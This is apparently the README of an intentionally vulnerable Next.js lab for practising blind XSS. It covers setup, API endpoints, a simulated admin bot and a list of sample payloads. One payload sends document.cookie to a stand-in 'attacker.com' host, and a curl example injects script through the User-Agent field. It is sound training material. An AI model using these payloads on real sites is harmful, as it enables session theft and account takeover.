This project is a deliberately vulnerable web application designed to help security learners practice Blind Cross-Site Scripting (XSS) in a controlled and safe environment. It provides realistic scenarios without exposing real systems to risk.
The application contains intentional security flaws. It should only be used in isolated environments meant for testing or learning. Do not deploy it to production systems or make it publicly accessible.
Blind XSS occurs when a malicious payload is stored and later executed in a different context, typically within administrative tools, background tasks, or systems that process user-provided data. Unlike traditional XSS, the attacker does not see the impact immediately. The results become visible only when a privileged user or automated process interacts with the stored payload.
- Multiple vulnerable inputs to experiment with payload injection
- A simulated administrative bot that automatically reviews and executes stored data
- Real-time visibility into detected payload activity
- A minimal administrative dashboard for reviewing flagged reports
- Clear explanations and behavior designed for educational use
- Next.js (Pages Router)
- Node.js
- In-memory data storage
- Background polling bot
- Node.js 18 or later
- npm 9 or later (or a compatible alternative)
-
Clone the repository or navigate to your local project copy.
-
Install required dependencies:
npm install
Start the development server and enable the bot:
npm run devThe application will run on http://localhost:3000, unless that port is unavailable.
The bot begins polling automatically.
npm run build && npm start- Open the main application page.
- Submit an XSS payload such as
<img src=x onerror=alert('XSS')>. - The bot checks for new reports every few seconds.
- When the bot processes your submission, the payload executes.
- Submit the contact form on the main page.
- The server stores your browser’s User-Agent.
- If the User-Agent contains scriptable content, it may be executed by the bot.
curl -X POST http://localhost:3000/api/reports \
-H 'Content-Type: application/json' \
-d '{"userAgent":"<img src=x onerror=alert(1)>"}'GET /— Main application interface
GET /api/reports— Retrieve stored reportsPOST /api/reports— Submit a new reportGET /api/comments— View commentsPOST /api/comments— Submit a commentPOST /api/contact— Contact form submission with User-Agent captureGET /api/xss-payloads— View collected payloadsGET /api/bot— Manually trigger a bot scanGET | POST /api/collect-xss— Logging endpoint returning a 1×1 GIFGET /admin— Dashboard showing flagged payloads and detection rules
The simulated bot runs continuously and performs the following every three seconds:
- Calls
/api/botto check for new data - Reviews recent reports (within the last five minutes)
- Flags items matching XSS-like patterns
- Attaches severity ratings and reasons for detection
The dashboard at /admin displays flagged entries and refreshes automatically.
Use these for testing only:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<a href="javascript:alert('XSS')">Click me</a>
<svg onload=alert('XSS')>
<div onmouseover=alert('XSS')>Hover over me</div>
<img src=x onerror=fetch('http://attacker.com/log?cookie=' + document.cookie)>Several environment variables allow customization:
BOT_URL— Bot polling target (default:http://localhost:3000/api/bot)BOT_INTERVAL_MS— Polling interval (default: 3000)PORT— Server port (default: 3000)
Example:
BOT_INTERVAL_MS=5000 npm run devUse a different port:
PORT=3001 npm run dev- Ensure the payload is valid and executable.
- Some browsers may block certain patterns.
- Verify that the bot is running.
The application stores all data in memory only. A server restart clears all information.
Occasional bot errors can occur but generally do not affect normal operation.
This project is intended to help users understand:
- How Blind XSS works in real-world systems
- Techniques for crafting and identifying XSS payloads
- How blind injection points can be abused
- Why input validation and output encoding are essential
- How administrative panels become targets for persistent attacks